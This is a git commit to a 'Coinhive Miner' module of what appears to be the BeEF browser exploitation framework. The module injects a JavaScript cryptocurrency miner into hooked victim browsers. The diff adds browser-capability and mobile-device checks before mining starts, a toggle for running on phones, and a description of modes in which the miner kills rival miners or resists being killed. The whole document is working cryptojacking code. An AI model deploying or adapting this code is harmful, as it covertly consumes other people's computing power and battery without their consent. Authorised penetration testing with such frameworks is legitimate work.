Add checks for mobile devices and browser capabilities

This commit is contained in:
Brendan Coles
2017-10-14 12:32:57 +00:00
parent b700039979
commit 68099ddf17
3 changed files with 25 additions and 2 deletions

View File

@@ -7,6 +7,25 @@ beef.execute(function() {
var comm_url = '<%= @command_url %>';
var comm_id = <%= @command_id %>;
if (!beef.browser.hasWebSocket()) {
beef.debug('[CoinHive] Error: browser does not support WebSockets');
beef.net.send(comm_url, comm_id, "error=unsupported browser - does not support WebSockets", beef.are.status_error());
return;
}
if (!beef.browser.hasWebWorker()) {
beef.debug('[CoinHive] Error: browser does not support WebWorkers');
beef.net.send(comm_url, comm_id, "error=unsupported browser - does not support WebWorkers", beef.are.status_error());
return;
}
var mobile_enabled = '<%= @mobile_enabled %>';
if (beef.hardware.isMobileDevice() && !mobile_enabled) {
beef.debug('[CoinHive] Error: browser is a mobile device');
beef.net.send(comm_url, comm_id, "error=unsupported browser - mobile device", beef.are.status_error());
return;
}
load_script = function(url) {
var s = document.createElement('script');
s.type = 'text/javascript';

View File

@@ -9,7 +9,7 @@ beef:
enable: true
category: "Misc"
name: "Coinhive Miner"
description: "This module starts the Coinhive JavaScript Miner. The following modes are available:<br/><p><b>IF_EXCLUSIVE_TAB</b> - The miner will only start if no other tabs are already mining. If all miners in other tabs are stopped or closed at a later point, the miner will then start. This ensures that one miner is always running as long as one tab of your site is open while keeping costly pool reconnections at a minimum.</p><p><b>FORCE_EXCLUSIVE_TAB</b> - The miner will always start and immediately kill all miners in other tabs that have not specified 'FORCE_MULTI_TAB'.</p><p><b>FORCE_MULTI_TAB</b> - The miner will always start. It will not announce its presence to other tabs, will not kill any other miners and can't be killed by other miners.</p>"
description: "This module starts the Coinhive JavaScript Miner.<br/><br/>Note: Mining on mobile devices is slow and will drain the battery.<br/><br/>The following modes are available:<br/><br/><b>IF_EXCLUSIVE_TAB</b> - The miner will only start if no other tabs are already mining. If all miners in other tabs are stopped or closed at a later point, the miner will then start. This ensures that one miner is always running as long as one tab of your site is open while keeping costly pool reconnections at a minimum.<br/><br/><b>FORCE_EXCLUSIVE_TAB</b> - The miner will always start and immediately kill all miners in other tabs that have not specified 'FORCE_MULTI_TAB'.</p><br/><br/><b>FORCE_MULTI_TAB</b> - The miner will always start. It will not announce its presence to other tabs, will not kill any other miners and can't be killed by other miners.<br/>"
authors: ["bcoles"]
target:
user_notify: ['ALL']

View File

@@ -20,7 +20,11 @@ class Coinhive_miner < BeEF::Core::Command
'valueField' => 'mode',
'displayField' => 'mode',
'mode' => 'local',
'autoWidth' => true
'autoWidth' => true },
{ 'name' => 'mobile_enabled',
'ui_label' => 'Run on Mobile Devices',
'type' => 'checkbox',
'checked' => false
}]
end
def post_execute